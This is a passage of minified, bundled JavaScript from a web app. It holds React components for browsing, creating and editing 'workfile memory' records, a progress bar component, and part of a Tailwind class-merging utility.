set`}),B.map(e=>(0,R.jsx)(k,{value:e,children:e},e))]})}):null,m.expires?(0,R.jsx)(K,{id:`memory-create-expires`,label:`Expires`,children:(0,R.jsx)(S,{id:`memory-create-expires`,type:`date`,value:a.expires,onChange:e=>g(`expires`,e.target.value)})}):null]}):null,(0,R.jsx)(K,{id:`memory-create-body`,label:`Details`,children:(0,R.jsx)(v,{id:`memory-create-body`,rows:8,value:a.body,onChange:e=>g(`body`,e.target.value)})}),(0,R.jsx)(X,{message:u})]}),(0,R.jsxs)(E,{children:[(0,R.jsx)(l,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,R.jsx)(l,{type:`button`,disabled:s||!a.title.trim(),onClick:()=>void y(),children:s?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(f,{"aria-hidden":`true`}),`Saving…`]}):`Create record`})]})]})})}function ne({record:e,statuses:t,onClose:n,onUpdated:r}){let i=W(e.collection),[a,o]=(0,L.useState)({title:e.title,status:e.status,category:e.category||``,confidence:e.confidence||``,severity:e.severity||``,expires:e.expires||``,review_after:e.review_after||``,body:e.body}),[s,c]=(0,L.useState)(!1),[u,d]=(0,L.useState)(``),p=(e,t)=>o(n=>({...n,[e]:t})),m=async()=>{let t={};a.title.trim()&&a.title!==e.title&&(t.title=a.title),a.status!==e.status&&(t.status=a.status),a.body!==e.body&&(t.body=a.body);for(let n of[`category`,`confidence`,`severity`,`expires`,`review_after`])a[n]!==(e[n]||``)&&(t[n]=a[n]||null);if(!Object.keys(t).length){n();return}c(!0);try{r((await h.patchMemory(e.id,t,e.revision)).record),n()}catch(e){d(e instanceof Error?e.message:String(e))}finally{c(!1)}};return(0,R.jsx)(T,{open:!0,onOpenChange:e=>{e||n()},children:(0,R.jsxs)(j,{className:`sm:max-w-[520px]`,"aria-describedby":void 0,children:[(0,R.jsx)(O,{children:(0,R.jsxs)(N,{children:[`Edit `,e.id]})}),(0,R.jsxs)(`div`,{className:`-m-1 flex max-h-[65vh] flex-col gap-3 overflow-y-auto p-1`,children:[(0,R.jsx)(K,{id:`memory-edit-title`,label:`Title`,children:(0,R.jsx)(S,{id:`memory-edit-title`,autoFocus:!0,required:!0,maxLength:120,value:a.title,onChange:e=>p(`title`,e.target.value)})}),(0,R.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,R.jsx)(K,{id:`memory-edit-status`,label:`Status`,children:(0,R.jsx)(A,{id:`memory-edit-status`,value:a.status,onChange:e=>p(`status`,e.target.value),children:(t.includes(a.status)?t:[a.status,...t]).map(e=>(0,R.jsx)(k,{value:e,children:e},e))})}),i.category?(0,R.jsx)(K,{id:`memory-edit-category`,label:`Category`,children:(0,R.jsx)(S,{id:`memory-edit-category`,value:a.category,onChange:e=>p(`category`,e.target.value)})}):null,i.confidence?(0,R.jsx)(K,{id:`memory-edit-confidence`,label:`Confidence`,children:(0,R.jsxs)(A,{id:`memory-edit-confidence`,value:a.confidence,onChange:e=>p(`confidence`,e.target.value),children:[(0,R.jsx)(k,{value:``,children:`not set`}),z.map(e=>(0,R.jsx)(k,{value:e,children:e},e))]})}):null,i.severity?(0,R.jsx)(K,{id:`memory-edit-severity`,label:`Severity`,children:(0,R.jsxs)(A,{id:`memory-edit-severity`,value:a.severity,onChange:e=>p(`severity`,e.target.value),children:[(0,R.jsx)(k,{value:``,children:`not set`}),B.map(e=>(0,R.jsx)(k,{value:e,children:e},e))]})}):null,i.expires?(0,R.jsx)(K,{id:`memory-edit-expires`,label:`Expires`,children:(0,R.jsx)(S,{id:`memory-edit-expires`,type:`date`,value:a.expires,onChange:e=>p(`expires`,e.target.value)})}):null,i.review_after?(0,R.jsx)(K,{id:`memory-edit-review-after`,label:`Review after`,children:(0,R.jsx)(S,{id:`memory-edit-review-after`,type:`date`,value:a.review_after,onChange:e=>p(`review_after`,e.target.value)})}):null]}),(0,R.jsx)(K,{id:`memory-edit-body`,label:`Details`,children:(0,R.jsx)(v,{id:`memory-edit-body`,rows:10,value:a.body,onChange:e=>p(`body`,e.target.value)})}),(0,R.jsx)(X,{message:u})]}),(0,R.jsxs)(E,{children:[(0,R.jsx)(l,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,R.jsx)(l,{type:`button`,disabled:s||!a.title.trim(),onClick:()=>void m(),children:s?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(f,{"aria-hidden":`true`}),`Saving…`]}):`Save changes`})]})]})})}function Q({record:e,mode:t,onClose:n,onUpdated:r}){let[i,a]=(0,L.useState)(``),[o,s]=(0,L.useState)(!1),[c,u]=(0,L.useState)(``),d=async()=>{s(!0);try{r((t===`graduate`?await h.graduateMemory(e.id,i.split(`,`).map(e=>e.trim()).filter(Boolean),e.revision):await h.supersedeMemory(e.id,i.trim(),e.revision)).record),n()}catch(e){u(e instanceof Error?e.message:String(e))}finally{s(!1)}};return(0,R.jsx)(T,{open:!0,onOpenChange:e=>{e||n()},children:(0,R.jsxs)(j,{className:`sm:max-w-[420px]`,"aria-describedby":void 0,children:[(0,R.jsx)(O,{children:(0,R.jsxs)(N,{children:[t===`graduate`?`Graduate`:`Supersede`,` `,e.id]})}),(0,R.jsxs)(`div`,{className:`flex flex-col gap-3`,children:[(0,R.jsx)(K,{id:`memory-lifecycle-target`,label:t===`graduate`?`Target IDs`:`Replacement ID`,children:(0,R.jsx)(S,{id:`memory-lifecycle-target`,autoFocus:!0,placeholder:t===`graduate`?`CONV-0001, DOC-0004`:`ADR-0009`,value:i,onChange:e=>a(e.target.value)})}),(0,R.jsx)(X,{message:c})]}),(0,R.jsxs)(E,{children:[(0,R.jsx)(l,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,R.jsx)(l,{type:`button`,disabled:o||!i.trim(),onClick:()=>void d(),children:o?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(f,{"aria-hidden":`true`}),`Saving…`]}):`Apply`})]})]})})}function re({record:e,statuses:t,onOpenRelation:n,onOpenRecord:o,onUpdated:u,onDialogOpenChange:d}){let[f,p]=(0,L.useState)(!1),[m,h]=(0,L.useState)(``),g=f||!!m;(0,L.useEffect)(()=>{d?.(g)},[g,d]);let _=e.collection===`learnings`&&e.status!==`graduated`,v=[`learnings`,`decisions`,`conventions`].includes(e.collection),y=[[`status`,e.status,c(e.status)]];return e.category&&y.push([`category`,e.category]),e.confidence&&y.push([`confidence`,e.confidence]),e.severity&&y.push([`severity`,e.severity,s(e.severity)]),e.occurrences!=null&&y.push([`occurrences`,String(e.occurrences)]),e.expires&&y.push([`expires`,e.expires]),e.review_after&&y.push([`review after`,e.review_after]),e.started_at&&y.push([`started`,e.started_at]),e.resolved_at&&y.push([`resolved`,e.resolved_at]),e.graduated_to?.length&&y.push([`graduated to`,e.graduated_to.join(`, `)]),e.superseded_by?.length&&y.push([`superseded by`,e.superseded_by.join(`, `)]),e.owners?.length&&y.push([`owners`,e.owners.join(`, `)]),y.push([`updated`,e.updated||`—`]),(0,R.jsxs)(`aside`,{"aria-label":`Memory record`,className:`flex min-h-0 flex-col overflow-hidden border-l bg-background`,children:[(0,R.jsxs)(`div`,{className:`flex h-11 shrink-0 items-center gap-2 border-b px-3.5`,children:[(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.collection}),(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`font-mono text-[11px]`,style:{color:c(e.status)},children:e.status})]}),(0,R.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col gap-3.5 overflow-y-auto p-4`,children:[(0,R.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,R.jsx)(`h2`,{className:`m-0 text-[17px] font-semibold leading-[1.3] tracking-[-0.01em] [text-wrap:pretty]`,children:e.title}),e.path?(0,R.jsx)(`span`,{className:`break-all font-mono text-[10.5px] text-muted-foreground`,children:e.path}):null]}),(0,R.jsx)(`div`,{className:`grid grid-cols-2 gap-x-3 gap-y-2`,children:y.map(([e,t,n])=>(0,R.jsxs)(`span`,{className:`flex flex-col gap-0.5`,children:[(0,R.jsx)(`span`,{className:`text-[10px] font-medium uppercase tracking-wide text-muted-foreground`,children:e}),(0,R.jsx)(`span`,{className:`text-sm`,style:n?{color:n}:void 0,children:t})]},e))}),(0,R.jsx)(J,{issues:e.issues,kind:`validation`}),(0,R.jsx)(J,{issues:e.lifecycleIssues||[],kind:`lifecycle`}),(0,R.jsx)(w,{className:`[--typeset-size:0.875rem]`,source:e.body||`No details recorded.`,onOpen:o}),(0,R.jsx)(Y,{label:`Links to`,links:e.outgoing,onOpen:n}),(0,R.jsx)(Y,{label:`Backlinks`,links:e.incoming,onOpen:n}),(0,R.jsxs)(`div`,{className:`flex flex-wrap gap-2`,children:[(0,R.jsxs)(l,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>p(!0),children:[(0,R.jsx)(i,{"aria-hidden":`true`}),`Edit`]}),_?(0,R.jsxs)(l,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>h(`graduate`),children:[(0,R.jsx)(a,{"aria-hidden":`true`}),`Graduate`]}):null,v?(0,R.jsxs)(l,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>h(`supersede`),children:[(0,R.jsx)(r,{"aria-hidden":`true`}),`Supersede`]}):null]})]}),f?(0,R.jsx)(ne,{record:e,statuses:t,onClose:()=>p(!1),onUpdated:u}):null,m?(0,R.jsx)(Q,{record:e,mode:m,onClose:()=>h(``),onUpdated:u}):null]})}function $(e,t){return e.find(e=>e.id===t)?.statuses||[]}function ie({id:e,schema:t,onSelect:n,onOpenRecord:r,onDialogOpenChange:i,onChanged:a}){let[o,s]=(0,L.useState)(null),[c,l]=(0,L.useState)(``);return(0,L.useEffect)(()=>{let t=!0;return s(null),l(``),h.record(e).then(e=>{t&&s(e.record)}).catch(e=>{t&&l(e.message)}),()=>{t=!1}},[e]),c?(0,R.jsx)(`div`,{className:`px-4 py-3 text-xs text-muted-foreground`,children:c}):o?(0,R.jsx)(re,{record:o,statuses:$(t.collections,o.collection),onOpenRelation:n,onOpenRecord:r,onUpdated:e=>{s(e),a?.()},onDialogOpenChange:i},o.id):(0,R.jsxs)(`div`,{className:`flex items-center gap-2 px-4 py-3 text-sm text-muted-foreground`,children:[(0,R.jsx)(f,{}),` Reading `,e,`…`]})}function ae({selectedId:e,onSelect:t,onOpenRecord:n,schema:r,search:i,onSearchChange:a}){let[s,v]=(0,L.useState)([]),[S,C]=(0,L.useState)(``),[w,T]=(0,L.useState)(``),[E,O]=(0,L.useState)(!0),[k,A]=(0,L.useState)(``),[j,N]=(0,L.useState)(null),F=(0,L.useRef)(0),I=(0,L.useCallback)(e=>{F.current=performance.now(),t(e)},[t]),[z,B]=(0,L.useState)(0);ee(e=>{g(e,`/memory/`)&&B(e=>e+1)}),(0,L.useEffect)(()=>{let e=async()=>{O(!0);try{let e=await h.memory(i.trim(),{collection:S||void 0,status:w||void 0});v(e.records),A(``)}catch(e){A(e instanceof Error?e.message:String(e))}finally{O(!1)}},t=window.setTimeout(()=>void e(),i?180:0);return()=>window.clearTimeout(t)},[i,S,w,z]);let W=(0,L.useMemo)(()=>[...s].sort((e,t)=>String(t.updated||``).localeCompare(String(e.updated||``))||e.title.localeCompare(t.title)),[s]),G=(0,L.useMemo)(()=>{let e=r.collections.filter(e=>!S||e.id===S).map(e=>({schema:e,records:W.filter(t=>t.collection===e.id)})),t=new Set(r.collections.map(e=>e.id)),n=W.filter(e=>!t.has(e.collection));return n.length&&e.push({schema:{id:`other`,singular:`record`,idPrefix:`?`,statuses:[]},records:n}),e},[r.collections,W,S]);W.find(t=>t.id===e);let K=S?$(r.collections,S):[...new Set(r.collections.flatMap(e=>e.statuses))];return(0,R.jsxs)(R.Fragment,{children:[(0,R.jsxs)(y,{gutter:`3.5`,className:`pt-3.5`,before:(0,R.jsx)(_,{scope:`records`,value:i,label:`Search workfile memory`,onChange:a}),after:(0,R.jsx)(`span`,{className:`flex shrink-0 items-center gap-1.5 whitespace-nowrap font-mono text-[11px] text-muted-foreground`,children:E?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(f,{"aria-hidden":`true`,className:`size-3`}),`loading…`]}):U(s.length,`record`)}),children:[(0,R.jsx)(m,{label:`collection`,value:S,options:r.collections.map(e=>({value:e.id})),onChange:e=>{C(e),T(``)}}),(0,R.jsx)(m,{label:`status`,value:w,options:K.map(e=>({value:e,color:c(e)})),onChange:T})]}),k?(0,R.jsx)(P,{variant:`destructive`,className:`mx-3.5 mt-3 w-auto px-3 py-2`,children:(0,R.jsxs)(M,{children:[`Memory could not be loaded: `,k]})}):null,(0,R.jsx)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-hidden p-3.5`,children:(0,R.jsx)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-x-auto`,children:G.map(t=>(0,R.jsxs)(d,{className:`w-[272px] flex-none gap-0 overflow-hidden rounded-xl py-0 [--card-spacing:--spacing(2)]`,children:[(0,R.jsxs)(b,{className:`flex flex-row items-center gap-2 border-b px-3 py-2`,children:[(0,R.jsx)(`span`,{className:`font-mono text-[11px] font-medium text-primary`,children:t.schema.idPrefix}),(0,R.jsx)(`span`,{className:`flex-1 text-[12.5px] font-semibold`,children:H(t.schema.singular)}),(0,R.jsx)(D,{variant:`secondary`,className:`h-5 px-1.5 font-mono text-[11px] font-normal`,children:t.records.length}),t.schema.id===`other`?null:(0,R.jsx)(l,{type:`button`,variant:`ghost`,size:`icon-xs`,"aria-label":`New ${t.schema.singular}`,onClick:()=>N(t.schema.id),children:(0,R.jsx)(o,{"aria-hidden":`true`})})]}),(0,R.jsxs)(x,{className:u(`flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto p-2.5`,V),children:[t.records.map(t=>(0,R.jsx)(q,{record:t,selected:t.id===e,onSelect:()=>I(t.id)},t.id)),!t.records.length&&!E?(0,R.jsx)(te,{className:`gap-1 border border-dashed p-4 md:p-6`,children:(0,R.jsx)(p,{className:`font-mono text-xs`,children:`no records`})}):null]})]},t.schema.id))})}),j===null?null:(0,R.jsx)(Z,{schema:r,initialCollection:j,onClose:()=>N(null),onCreated:e=>{N(null),v(t=>[e,...t]),t(e.id)}})]})}export{ie as MemoryPanel,ae as MemoryView}; |
| import"./rolldown-runtime-CbXtAM7H.js";import{i as e,t}from"./react-Buq45Vzz.js";import{c as n,s as r}from"./ui-primitives-C8uJIJg4.js";import{u as i}from"./theme-pTuib_xY.js";e();var a=t();function o({className:e,value:t,...o}){return(0,a.jsx)(n,{"data-slot":`progress`,className:i(`relative h-2 w-full overflow-hidden rounded-full bg-primary/20`,e),...o,children:(0,a.jsx)(r,{"data-slot":`progress-indicator`,className:`h-full w-full flex-1 bg-primary transition-all`,style:{transform:`translateX(-${100-(t||0)}%)`}})})}export{o as t}; |
| import"./rolldown-runtime-CbXtAM7H.js";import{i as e,t}from"./react-Buq45Vzz.js";import{R as n}from"./ui-primitives-C8uJIJg4.js";e();function r(e){var t,n,i=``;if(typeof e==`string`||typeof e==`number`)i+=e;else if(typeof e==`object`)if(Array.isArray(e)){var a=e.length;for(t=0;t<a;t++)e[t]&&(n=r(e[t]))&&(i&&(i+=` `),i+=n)}else for(n in e)e[n]&&(i&&(i+=` `),i+=n);return i}function i(){for(var e,t,n=0,i=``,a=arguments.length;n<a;n++)(e=arguments[n])&&(t=r(e))&&(i&&(i+=` `),i+=t);return i}var a=e=>typeof e==`boolean`?`${e}`:e===0?`0`:e,o=i,s=(e,t)=>n=>{if(t?.variants==null)return o(e,n?.class,n?.className);let{variants:r,defaultVariants:i}=t,s=Object.keys(r).map(e=>{let t=n?.[e],o=i?.[e];if(t===null)return null;let s=a(t)||a(o);return r[e][s]}),c=n&&Object.entries(n).reduce((e,t)=>{let[n,r]=t;return r===void 0||(e[n]=r),e},{});return o(e,s,t?.compoundVariants?.reduce((e,t)=>{let{class:n,className:r,...a}=t;return Object.entries(a).every(e=>{let[t,n]=e;return Array.isArray(n)?n.includes({...i,...c}[t]):{...i,...c}[t]===n})?[...e,n,r]:e},[]),n?.class,n?.className)},c=(e,t)=>{let n=Array(e.length+t.length);for(let t=0;t<e.length;t++)n[t]=e[t];for(let r=0;r<t.length;r++)n[e.length+r]=t[r];return n},l=(e,t)=>({classGroupId:e,validator:t}),u=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),d=`-`,ee=[],f=`arbitrary..`,te=e=>{let t=h(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:e=>{if(e.startsWith(`[`)&&e.endsWith(`]`))return m(e);let n=e.split(d);return p(n,+(n[0]===``&&n.length>1),t)},getConflictingClassGroupIds:(e,t)=>{if(t){let t=r[e],i=n[e];return t?i?c(i,t):t:i||ee}return n[e]||ee}}},p=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;let r=e[t],i=n.nextPart.get(r);if(i){let n=p(e,t+1,i);if(n)return n}let a=n.validators;if(a===null)return;let o=t===0?e.join(d):e.slice(t).join(d),s=a.length;for(let e=0;e<s;e++){let t=a[e];if(t.validator(o))return t.classGroupId}},m=e=>e.slice(1,-1).indexOf(`:`)===-1?void 0:(()=>{let t=e.slice(1,-1),n=t.indexOf(`:`),r=t.slice(0,n);return r?f+r:void 0})(),h=e=>{let{theme:t,classGroups:n}=e;return g(n,t)},g=(e,t)=>{let n=u();for(let r in e){let i=e[r];_(i,n,r,t)}return n},_=(e,t,n,r)=>{let i=e.length;for(let a=0;a<i;a++){let i=e[a];v(i,t,n,r)}},v=(e,t,n,r)=>{if(typeof e==`string`){ne(e,t,n);return}if(typeof e==`function`){y(e,t,n,r);return}b(e,t,n,r)},ne=(e,t,n)=>{let r=e===``?t:x(t,e);r.classGroupId=n},y=(e,t,n,r)=>{if(S(e)){_(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(l(n,e))},b=(e,t,n,r)=>{let i=Object.entries(e),a=i.length;for(let e=0;e<a;e++){let[a,o]=i[e];_(o,x(t,a),n,r)}},x=(e,t)=>{let n=e,r=t.split(d),i=r.length;for(let e=0;e<i;e++){let t=r[e],i=n.nextPart.get(t);i||(i=u(),n.nextPart.set(t,i)),n=i}return n},S=e=>`isThemeGetter`in e&&e.isThemeGetter===!0,re=e=>{if(e<1)return{get:()=>void 0,set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null),i=(i,a)=>{n[i]=a,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(e){let t=n[e];if(t!==void 0)return t;if((t=r[e])!==void 0)return i(e,t),t},set(e,t){e in n?n[e]=t:i(e,t)}}},C=`!`,w=`:`,ie=[],T=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),E=e=>{let{prefix:t,experimentalParseClassName:n}=e,r=e=>{let t=[],n=0,r=0,i=0,a,o=e.length;for(let s=0;s<o;s++){let o=e[s];if(n===0&&r===0){if(o===w){t.push(e.slice(i,s)),i=s+1;continue}if(o===`/`){a=s;continue}}o===`[`?n++:o===`]`?n--:o===`(`?r++:o===`)`&&r--}let s=t.length===0?e:e.slice(i),c=s,l=!1;s.endsWith(C)?(c=s.slice(0,-1),l=!0):s.startsWith(C)&&(c=s.slice(1),l=!0);let u=a&&a>i?a-i:void 0;return T(t,l,c,u)};if(t){let e=t+w,n=r;r=t=>t.startsWith(e)?n(t.slice(e.length)):T(ie,!1,t,void 0,!0)}if(n){let e=r;r=t=>n({className:t,parseClassName:e})}return r},D=e=>{let t=new Map;return e.orderSensitiveModifiers.forEach((e,n)=>{t.set(e,1e6+n)}),e=>{let n=[],r=[];for(let i=0;i<e.length;i++){let a=e[i],o=a[0]===`[`,s=t.has(a);o||s?(r.length>0&&(r.sort(),n.push(...r),r=[]),n.push(a)):r.push(a)}return r.length>0&&(r.sort(),n.push(...r)),n}},O=e=>({cache:re(e.cacheSize),parseClassName:E(e),sortModifiers:D(e),postfixLookupClassGroupIds:k(e),...te(e)}),k=e=>{let t=Object.create(null),n=e.postfixLookupClassGroups;if(n)for(let e=0;e<n.length;e++)t[n[e]]=!0;return t},A=/\s+/,j=(e,t)=>{let{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:a,postfixLookupClassGroupIds:o}=t,s=[],c=e.trim().split(A),l=``;for(let e=c.length-1;e>=0;--e){let t=c[e],{isExternal:u,modifiers:d,hasImportantModifier:ee,baseClassName:f,maybePostfixModifierPosition:te}=n(t);if(u){l=t+(l.length>0?` `+l:l);continue}let p=!!te,m;if(p){m=r(f.substring(0,te));let e=m&&o[m]?r(f):void 0;e&&e!==m&&(m=e,p=!1)}else m=r(f);if(!m){if(!p){l=t+(l.length>0?` `+l:l);continue}if(m=r(f),!m){l=t+(l.length>0?` `+l:l);continue}p=!1}let h=d.length===0?``:d.length===1?d[0]:a(d).join(`:`),g=ee?h+C:h,_=g+m;if(s.indexOf(_)>-1)continue;s.push(_);let v=i(m,p);for(let e=0;e<v.length;++e){let t=v[e];s.push(g+t)}l=t+(l.length>0?` `+l:l)}return l},ae=(...e)=>{let t=0,n,r,i=``;for(;t<e.length;)(n=e[t++])&&(r=M(n))&&(i&&(i+=` `),i+=r);return i},M=e=>{if(typeof e==`string`)return e;let t,n=``;for(let r=0;r<e.length;r++)e[r]&&(t=M(e[r]))&&(n&&(n+=` `),n+=t);return n},oe=(e,...t)=>{let n,r,i,a,o=o=>(n=O(t.reduce((e,t)=>t(e),e())),r=n.cache.get,i=n.cache.set,a=s,s(o)),s=e=>{let t=r(e);if(t)return t;let a=j(e,n);return i(e,a),a};return a=o,(...e)=>a(ae(...e))},se=[],N=e=>{let t=t=>t[e]||se;return t.isThemeGetter=!0,t},P=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,F=/^\((?:(\w[\w-]*):)?(.+)\)$/i,I=/^\d+(?:\.\d+)?\/\d+(?:\.\d+)?$/,ce=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,L=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,le=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,R=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,z=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,B=e=>I.test(e),V=e=>!!e&&!Number.isNaN(Number(e)),H=e=>!!e&&Number.isInteger(Number(e)),ue=e=>e.endsWith(`%`)&&V(e.slice(0,-1)),U=e=>ce.test(e),de=()=>!0,W=e=>L.test(e)&&!le.test(e),G=()=>!1,fe=e=>R.test(e),pe=e=>z.test(e),me=e=>!K(e)&&!J(e),he=e=>e.startsWith(`@container`)&&(e[10]===`/`&&e[11]!==void 0||e[11]===`s`&&e[16]!==void 0&&e.startsWith(`-size/`,10)||e[11]===`n`&&e[18]!==void 0&&e.startsWith(`-normal/`,10)),ge=e=>X(e,je,G),K=e=>P.test(e),q=e=>X(e,Me,W),_e=e=>X(e,Ne,V),ve=e=>X(e,Fe,de),ye=e=>X(e,Pe,G),be=e=>X(e,ke,G),xe=e=>X(e,Ae,pe),Se=e=>X(e,Ie,fe),J=e=>F.test(e),Y=e=>Z(e,Me),Ce=e=>Z(e,Pe),we=e=>Z(e,ke),Te=e=>Z(e,je),Ee=e=>Z(e,Ae),De=e=>Z(e,Ie,!0),Oe=e=>Z(e,Fe,!0),X=(e,t,n)=>{let r=P.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},Z=(e,t,n=!1)=>{let r=F.exec(e);return r?r[1]?t(r[1]):n:!1},ke=e=>e===`position`||e===`percentage`,Ae=e=>e===`image`||e===`url`,je=e=>e===`length`||e===`size`||e===`bg-size`,Me=e=>e===`length`,Ne=e=>e===`number`,Pe=e=>e===`family-name`,Fe=e=>e===`number`||e===`weight`,Ie=e=>e===`shadow`,Le=oe(()=>{let e=N(`color`),t=N(`font`),n=N(`text`),r=N(`font-weight`),i=N(`tracking`),a=N(`leading`),o=N(`breakpoint`),s=N(`container`),c=N(`spacing`),l=N(`radius`),u=N(`shadow`),d=N(`inset-shadow`),ee=N(`text-shadow`),f=N(`drop-shadow`),te=N(`blur`),p=N(`perspective`),m=N(`aspect`),h=N(`ease`),g=N(`animate`),_=()=>[`auto`,`avoid`,`all`,`avoid-page`,`page`,`left`,`right`,`column`],v=()=>[`center`,`top`,`bottom`,`left`,`right`,`top-left`,`left-top`,`top-right`,`right-top`,`bottom-right`,`right-bottom`,`bottom-left`,`left-bottom`],ne=()=>[...v(),J,K],y=()=>[`auto`,`hidden`,`clip`,`visible`,`scroll`],b=()=>[`auto`,`contain`,`none`],x=()=>[J,K,c],S=()=>[B,`full`,`auto`,...x()],re=()=>[H,`none`,`subgrid`,J,K],C=()=>[`auto`,{span:[`full`,H,J,K]},H,J,K],w=()=>[H,`auto`,J,K],ie=()=>[`auto`,`min`,`max`,`fr`,J,K],T=()=>[`start`,`end`,`center`,`between`,`around`,`evenly`,`stretch`,`baseline`,`center-safe`,`end-safe`],E=()=>[`start`,`end`,`center`,`stretch`,`center-safe`,`end-safe`],D=()=>[`auto`,...x()],O=()=>[B,`auto`,`full`,`dvw`,`dvh`,`lvw`,`lvh`,`svw`,`svh`,`min`,`max`,`fit`,...x()],k=()=>[B,`screen`,`full`,`dvw`,`lvw`,`svw`,`min`,`max`,`fit`,...x()],A=()=>[B,`screen`,`full`,`lh`,`dvh`,`lvh`,`svh`,`min`,`max`,`fit`,...x()],j=()=>[e,J,K],ae=()=>[...v(),we,be,{position:[J,K]}],M=()=>[`no-repeat`,{repeat:[``,`x`,`y`,`space`,`round`]}],oe=()=>[`auto`,`cover`,`contain`,Te,ge,{size:[J,K]}],se=()=>[ue,Y,q],P=()=>[``,`none`,`full`,l,J,K],F=()=>[``,V,Y,q],I=()=>[`solid`,`dashed`,`dotted`,`double`],ce=()=>[`normal`,`multiply`,`screen`,`overlay`,`darken`,`lighten`,`color-dodge`,`color-burn`,`hard-light`,`soft-light`,`difference`,`exclusion`,`hue`,`saturation`,`color`,`luminosity`],L=()=>[V,ue,we,be],le=()=>[``,`none`,te,J,K],R=()=>[`none`,V,J,K],z=()=>[`none`,V,J,K],W=()=>[V,J,K],G=()=>[B,`full`,...x()];return{cacheSize:500,theme:{animate:[`spin`,`ping`,`pulse`,`bounce`],aspect:[`video`],blur:[U],breakpoint:[U],color:[de],container:[U],"drop-shadow":[U],ease:[`in`,`out`,`in-out`],font:[me],"font-weight":[`thin`,`extralight`,`light`,`normal`,`medium`,`semibold`,`bold`,`extrabold`,`black`],"inset-shadow":[U],leading:[`none`,`tight`,`snug`,`normal`,`relaxed`,`loose`],perspective:[`dramatic`,`near`,`normal`,`midrange`,`distant`,`none`],radius:[U],shadow:[U],spacing:[`px`,V],text:[U],"text-shadow":[U],tracking:[`tighter`,`tight`,`normal`,`wide`,`wider`,`widest`]},classGroups:{aspect:[{aspect:[`auto`,`square`,B,K,J,m]}],container:[`container`],"container-type":[{"@container":[``,`normal`,`size`,J,K]}],"container-named":[he],columns:[{columns:[V,K,J,s]}],"break-after":[{"break-after":_()}],"break-before":[{"break-before":_()}],"break-inside":[{"break-inside":[`auto`,`avoid`,`avoid-page`,`avoid-column`]}],"box-decoration":[{"box-decoration":[`slice`,`clone`]}],box:[{box:[`border`,`content`]}],display:[`block`,`inline-block`,`inline`,`flex`,`inline-flex`,`table`,`inline-table`,`table-caption`,`table-cell`,`table-column`,`table-column-group`,`table-footer-group`,`table-header-group`,`table-row-group`,`table-row`,`flow-root`,`grid`,`inline-grid`,`contents`,`list-item`,`hidden`],sr:[`sr-only`,`not-sr-only`],float:[{float:[`right`,`left`,`none`,`start`,`end`]}],clear:[{clear:[`left`,`right`,`both`,`none`,`start`,`end`]}],isolation:[`isolate`,`isolation-auto`],"object-fit":[{object:[`contain`,`cover`,`fill`,`none`,`scale-down`]}],"object-position":[{object:ne()}],overflow:[{overflow:y()}],"overflow-x":[{"overflow-x":y()}],"overflow-y":[{"overflow-y":y()}],overscroll:[{overscroll:b()}],"overscroll-x":[{"overscroll-x":b()}],"overscroll-y":[{"overscroll-y":b()}],position:[`static`,`fixed`,`absolute`,`relative`,`sticky`],inset:[{inset:S()}],"inset-x":[{"inset-x":S()}],"inset-y":[{"inset-y":S()}],start:[{"inset-s":S(),start:S()}],end:[{"inset-e":S(),end:S()}],"inset-bs":[{"inset-bs":S()}],"inset-be":[{"inset-be":S()}],top:[{top:S()}],right:[{right:S()}],bottom:[{bottom:S()}],left:[{left:S()}],visibility:[`visible`,`invisible`,`collapse`],z:[{z:[H,`auto`,J,K]}],basis:[{basis:[B,`full`,`auto`,s,...x()]}],"flex-direction":[{flex:[`row`,`row-reverse`,`col`,`col-reverse`]}],"flex-wrap":[{flex:[`nowrap`,`wrap`,`wrap-reverse`]}],flex:[{flex:[V,B,`auto`,`initial`,`none`,K]}],grow:[{grow:[``,V,J,K]}],shrink:[{shrink:[``,V,J,K]}],order:[{order:[H,`first`,`last`,`none`,J,K]}],"grid-cols":[{"grid-cols":re()}],"col-start-end":[{col:C()}],"col-start":[{"col-start":w()}],"col-end":[{"col-end":w()}],"grid-rows":[{"grid-rows":re()}],"row-start-end":[{row:C()}],"row-start":[{"row-start":w()}],"row-end":[{"row-